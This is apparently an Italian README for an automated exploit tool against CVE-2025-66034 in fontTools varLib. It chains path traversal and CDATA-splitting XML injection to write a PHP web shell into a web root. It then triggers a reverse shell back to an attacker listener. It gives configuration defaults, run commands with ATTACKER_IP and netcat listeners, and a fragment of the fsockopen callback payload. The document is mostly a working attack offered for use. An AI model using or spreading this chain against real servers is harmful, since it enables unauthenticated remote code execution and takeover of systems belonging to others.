Exploit automatizzato per CVE-2025-66034, che combina path traversal e iniezione XML in fontTools varLib per ottenere l'esecuzione remota di codice senza autenticazione tramite il caricamento di un file .designspace appositamente creato.
fontTools varLib — Scrittura Arbitraria di File + Iniezione XML → Esecuzione Remota di Codice
CVE-2025-66034 è una vulnerabilità nella pipeline di generazione di font variabili fontTools.varLib. Quando un'applicazione web espone questa pipeline e accetta file .designspace forniti dall'utente, due debolezze si combinano per ottenere esecuzione remota di codice non autenticata.
font_varlib.py automatizza l'intera catena di sfruttamento: generazione del font, creazione del payload, upload e consegna della reverse shell.
| Campo | Dettaglio |
|---|---|
| ID CVE | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| Pacchetto | fonttools (pip) |
| Intervallo interessato | >= 4.33.0, < 4.60.2 |
| Corretto in | 4.60.2 |
| Gravità | Moderata (CVSS 6.3) |
| Vettore di attacco | Locale (richiede upload di file sul target) |
| Privilegi richiesti | Nessuno |
| Interazione utente | Richiesta (trigger di upload) |
| # | Primitiva | CWE | Causa principale |
|---|---|---|---|
| 1 | Path Traversal | CWE-22 | L'attributo filename in .designspace viene passato direttamente a os.path.join() senza sanificazione — i percorsi assoluti scartano completamente la directory di output prevista |
| 2 | Iniezione XML | CWE-91 | Le sezioni CDATA <labelname> consentono a una sequenza di separazione (]]]]><
L'attaccante crea un .designspace dannoso
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── PATH TRAVERSAL
│ os.path.join(output_dir, absolute_path)
│ → output_dir scartata → scrittura nella web root
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── INIEZIONE XML
La separazione CDATA incorpora PHP grezzo
nel binario del font di output
│
▼
fontTools.varLib.main() elabora il file lato server
│
▼
shell.php scritto in una directory accessibile via web
│
▼
GET /files/shell.php → PHP esegue → callback reverse shell
│
▼
RCE come www-data
Python: 3.9+
Dipendenze:
pip install fonttools requests
Sistema:
nc (netcat) — richiesto per la modalità listener automatica (--no-listen lo salta)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
Prima di eseguire, apri font_varlib.py e aggiorna il blocco di configurazione all'inizio del file in base al tuo target. Ogni valore ha un commento inline che spiega cos'è e come trovare il valore corretto.
# ══════════════════════════════════════════════════════════════════════════════
# DEFAULTS
# Change these to match your target before running.
# All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════
# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST = "http://test.com"
# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT = "/var/www/test.com/public/files"
# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST = "http://testing.test.com/files"
# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX = "f0nt_"
# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8
Suggerimento: Intercetta una richiesta di upload legittima in Burp Suite per confermare
UPLOAD_ENDPOINTe i nomi esatti dei campi multipart prima di eseguire. Una mancata corrispondenza nei nomi dei campi causa un fallimento silenzioso: il server risponde con HTTP 200 ma non viene scritta alcuna shell.
python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
# Terminale 1 — avvia il tuo listener
nc -lvnp 4444
# Terminale 2 — esegui l'exploit senza listener automatico
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
| Argomento | Obbligatorio | Default | Descrizione |
|---|---|---|---|
--ip | ✓ | — | IP del listener dell'attaccante |
--port | ✓ | — | Porta del listener dell'attaccante |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | Endpoint di upload (POST) | |
--webroot | WEBROOT | Percorso di scrittura filesystem lato server (deve essere accessibile via web) | |
--shell | SHELL_HOST | URL base per attivare la shell scritta | |
--no-listen | false | Salta il listener nc automatico — solo attivazione |
Due file sorgente .ttf minimi ma strutturalmente validi vengono generati programmaticamente usando fontTools.FontBuilder. varLib richiede almeno due master di asse per elaborare un font variabile: questi soddisfano il requisito senza bisogno di veri file font su disco.
Viene costruito un file XML .designspace dannoso che incorpora entrambe le primitive di attacco:
Primitiva 1 — Iniezione XML tramite separazione CDATA:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
La sequenza ]]]]><![CDATA[> termina il blocco CDATA corrente e ne apre immediatamente uno nuovo. Il parser XML elabora questo come markup valido, ma varLib serializza il contenuto verbatim nel file di output — incorporando PHP grezzo nel binario del font.
Primitiva 2 — Path Traversal tramite attributo filename:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
varLib costruisce il percorso di output come:
output_path = os.path.join(output_dir, filename)